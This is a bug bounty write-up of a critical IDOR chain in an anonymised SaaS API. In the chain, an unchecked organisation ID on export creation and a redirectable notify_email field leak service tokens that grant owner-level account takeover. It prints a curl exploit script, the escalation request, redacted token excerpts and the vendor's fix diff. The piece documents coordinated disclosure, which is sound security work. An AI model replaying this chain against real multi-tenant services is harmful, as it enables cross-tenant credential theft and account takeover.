Bug Hunting Journey

Writeups IDOR

IDOR · critical

The export that handed out the owner role

Severity Critical CVSS 8.8
Impact
Full account takeover
Bounty
$2.5k - $5k
Program
Private, invite only
Vector
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

TL;DR

The account export endpoint on api.target.tld accepted a client-supplied organisation ID without checking that the calling token belonged to that organisation. On top of the expected business data, the generated archive contained the organisation's service API tokens and webhook secrets. Replaying one of those tokens got me the owner role on an organisation I was not a member of: full takeover, with no interaction from the victim.

An “Export my data” button buried at the bottom of the billing settings, an organisation ID passed in the URL, and an archive that is a little too generous. Three details that are harmless on their own. Put end to end, they hand you the owner role on any organisation at ██████████████.

Recon

The program is private and the invite landed at the end of September. The scope fits in three lines: app.target.tld, api.target.tld, and any *.target.tld subdomain that serves the application itself. No phishing, no denial of service, no testing against other researchers’ accounts. Standard stuff.

The product is a sales-team management tool sold to ███████████████████, with organisations, roles (viewer, member, admin, owner) and per-seat billing. I create two free accounts in two separate organisations: mel+a@… (organisation A, my playground) and mel+b@… (organisation B, my test “victim”). That is the one discipline that matters in this kind of research - always having two contexts on hand, so you can prove a boundary crossing without ever touching a real customer’s data.

First reflex: the JavaScript bundle. app.target.tld serves a Vite build, and the source maps are not there - a shame - but the chunk split is enough: fifteen files, one of which, settings.*.js, holds the entire admin area. I run it through prettier and grep for strings that look like API routes. A hundred and sixty come out. Three catch my eye because they match nothing I have seen in the UI:

settings.b4f1c0.js - reformatted fragmentJavaScript
const EXPORT_ROUTES = {  list:    (org) => `/api/v3/orgs/${org}/exports`,  create:  (org) => `/api/v3/orgs/${org}/exports`,  full:    (org) => `/api/v3/orgs/${org}/exports/full`,  secrets: (org) => `/api/v3/orgs/${org}/exports/full?include_credentials=true`,};

The fourth entry is called nowhere in the bundle. It is just sitting there, most likely left over from an internal migration tool. That is the kind of thing worth an hour of attention.

The first signal

In the UI, the export does exist, but in a very well-behaved form: Settings → Billing → “Download my data”, which produces a CSV of invoices. The matching request is clean.

POSTThe export as the UI produces itrequest
POST /api/v3/orgs/8f21c4a0-7b19-4e2d-9a55-0c1e7f33b210/exports HTTP/2Host: api.target.tldAuthorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Ijc5YT████████Content-Type: application/json{"type":"billing","format":"csv"}

The ID in the URL is organisation A’s UUID. It is also sitting in cleartext in my JWT payload, under the org key. In other words, the server already has that information: if it reads it from the URL instead of the token, that is a choice, and it is very often a choice that comes with no verification attached. I swap the UUID for organisation B’s - which I get legitimately, by logging into the second account.

202Organisation B, with organisation A's tokenresponse
HTTP/2 202 Acceptedcontent-type: application/jsonx-request-id: 01JGQ8████████████████████{"export_id":"exp_01JGQ8M2T4","status":"queued","org":"c37b9e51-…"}

202. Not 403. The server agreed to prepare an export for an organisation my token is not a member of. At this point I still have nothing: it remains to be seen whether the resulting file is retrievable, and what is in it.

Dead ends

The next two hours produced nothing, and that is normal. I am writing them down because writeups that never mention them give a false picture of the job.

Dead end one: the download. The retrieval URL returned by the API points at files.target.tld with a signature. A GET on that URL with my organisation A token returns a clean, unambiguous 403. So the access check does exist - it is just sitting in the wrong place, on the download rather than on the creation.

Dead end two: enumeration. I try to list organisation B’s exports to grab a predictable ID. GET /api/v3/orgs/{B}/exports returns 403. Only creation is broken. That kind of inconsistency between two verbs on the same route smells of middleware applied by hand, route by route.

Dead end three: the callback_url parameter. The API accepts it, but after twenty minutes watching my listener, no outbound request ever arrives. It is probably ignored server-side, or reserved for enterprise accounts. No SSRF here.

What unblocks the situation is silly: the notify_email field, which I had spotted in the bundle and dismissed as incidental. If export creation does not check the organisation, maybe it does not check who it emails the download link to either.

Exploitation

exploit.sh - triggering the exportbash
# $TOKEN_A: a token for MY organisation. $ORG_B: the target organisation.curl -s -X POST "https://api.target.tld/api/v3/orgs/$ORG_B/exports/full" \  -H "Authorization: Bearer $TOKEN_A" \  -H "Content-Type: application/json" \  -d '{        "type": "account_full",        "include_credentials": true,        "notify_email": "mel@research.example",        "format": "json"      }' | jq -r '.export_id'

Ninety seconds later, an email lands in my inbox with a signed link, valid for twenty-four hours. The link works with no token at all: the signature is the authorisation. The archive is 2.3 MB and contains twelve JSON files. The first eleven are business data - already more than enough for a report. The twelfth is called integrations.json.

integrations.json - excerpt, values truncatedJSON
{  "service_tokens": [    { "name": "ci-deploy",      "token": "svc_live_7Qa████████████████████████",      "scopes": ["orgs:read", "orgs:write", "members:write"],      "expires_at": null },    { "name": "zapier",      "token": "svc_live_1Kd████████████████████████",      "scopes": ["events:read"] }  ],  "webhook_signing_secret": "whsec_████████████████████"}

The first token carries members:write and never expires. The full chain then comes down to five steps.

  1. Get the target organisation’s UUID. It leaks in several public responses, notably the team avatar served from cdn.target.tld/org/{uuid}/logo.png and the invitation page. No prior access required.
  2. Create a full export with include_credentials. My organisation A token is enough: the creation route does not check membership.
  3. Hijack the notification. notify_email is not validated against the organisation’s members; the signed link arrives straight in my inbox.
  4. Pull the service token. integrations.json hands over a members:write token with no expiry.
  5. Add myself as owner. One POST /api/v3/orgs/{B}/members authenticated with that token, and the account is mine.
POSTFinal escalationrequest
POST /api/v3/orgs/c37b9e51-2d4a-41f8-bb07-9e5a1c88de34/members HTTP/2Host: api.target.tldAuthorization: Bearer svc_live_7Qa████████████████████████Content-Type: application/json{"email":"mel@research.example","role":"owner","skip_invite":true}
201Createdresponse
HTTP/2 201 Createdcontent-type: application/json{"id":"mem_01JGQ9","role":"owner","status":"active","invited_by":"svc:ci-deploy"}

No invitation, no email to the victim, no visible trace in the UI until someone next opens the Members page. I stop there: I do not log into organisation B with that role beyond a single screenshot of the member list, and I remove the access straight away.

Then there is the question of reach. The program advertises “several hundred customer organisations”, and the organisation UUID is a random identifier, so it is not blind-enumerable - but it leaks in enough public places (team logos, shared invitation pages, old indexed links) that a target list builds itself with no effort. I stick to the two organisations I control for the demonstration, and I list the three UUID leak sources in the report rather than exploiting them: it is up to the program to decide whether it wants an estimate of how many accounts are actually reachable.

Proof

The Members page of the target organisation: the researcher's account appears with the owner role while every other member's identity is masked.
Screenshot reconstructed for publication. Real member identities and the organisation name are masked; only the row added by the exploitation is readable.

The fix

The team fixed it in two passes: an emergency block on include_credentials first, then the real fix on authorisation. The diff was shared with me afterwards, with permission to publish this excerpt.

api/routes/exports.tsdiff
@@ -14,11 +14,22 @@ export async function createExport(req, res) {-  const { orgId } = req.params;-  const org = await Org.findByPk(orgId);-  if (!org) return res.status(404).json({ error: 'not_found' });+  const { orgId } = req.params;++  // The organisation now comes from the token, never from the URL.+  if (orgId !== req.auth.orgId) {+    return res.status(403).json({ error: 'forbidden' });+  }+  if (!(await can(req.auth, 'export:create', orgId))) {+    return res.status(403).json({ error: 'forbidden' });+  }+  const org = await Org.findByPk(orgId);+  if (!org) return res.status(404).json({ error: 'not_found' }); -  const includeCredentials = req.body.include_credentials ?? false;+  // Secrets never leave in an export again, whoever is asking.+  const includeCredentials = false;+  const notifyEmail = await resolveMemberEmail(req.auth, req.body.notify_email);

Service tokens across every organisation were invalidated in the same window, and a forced rotation of webhook secrets was triggered. That is the right reaction: as long as nobody knows how long the route had been open, the secrets have to be treated as compromised.

Takeaways

  • An ID in the URL that is already in the token is a question, not a fact. Anywhere the two coexist, somebody has to decide which one is authoritative - and the answer is very often “neither, explicitly”.
  • An access check on the download does not protect the generation. Here the 403 on the signed link created the illusion of a locked route, while the leak was in creation, with an alternative delivery channel attached.
  • Incidental parameters are rarely incidental. notify_email looks like a convenience feature; it is actually the exfiltration channel that turns an IDOR into a full chain.
  • An export needs an allowlist of fields, never a denylist. integrations.json ended up in the archive because the exporter serialises a whole object and then strips what is sensitive. The other way round would have held.
  • Dead ends are work, not wasted time. The three failures above are what mapped the surface: without them I would not have known that only creation was vulnerable, and the report would have been far less precise.

If you find something similar on a program, try the creation route before the read route: it is almost always the read path that gets protected first.

Disclosure timeline

  1. Report sent with the full chain, the script and both test accounts
  2. Triaged critical severity confirmed in under twenty hours
  3. Emergency mitigation include_credentials disabled server-side
  4. Fix deployed authorisation check added and all service tokens rotated
  5. Bounty paid above the published band for an account takeover
  6. Cleared for publication granted on condition the program stays anonymous